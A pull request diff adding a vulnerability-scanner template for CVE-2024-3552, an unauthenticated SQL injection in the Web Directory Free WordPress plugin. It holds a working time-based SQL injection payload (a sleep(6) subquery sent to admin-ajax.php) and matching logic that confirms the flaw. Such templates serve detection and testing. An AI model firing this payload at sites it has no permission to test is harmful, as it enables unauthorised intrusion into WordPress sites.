Merge pull request #10026 from Kazgangap/cve-2024-3552

add cve-2024-3552

http/cves/2024/CVE-2024-3552.yaml

@@ -0,0 +1,49 @@
+id: CVE-2024-3552
+
+info:
+  name: Web Directory Free < 1.7.0 - SQL Injection
+  author: securityforeveryone
+  severity: critical
+  description: |
+    The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
+  remediation: Fixed in 1.7.0
+  reference:
+    - https://vulners.com/wpvulndb/CVE-2024-3552
+    - https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
+  metadata:
+    verified: true
+    max-request: 1
+    publicwww-query: "/wp-content/plugins/web-directory-free"
+  tags: cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free
+
+flow: http(1) && http(2)
+
+http:
+
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '/wp-content/plugins/web-directory-free'
+        internal: true
+
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - regex('^\[\]$', body)
+        condition: and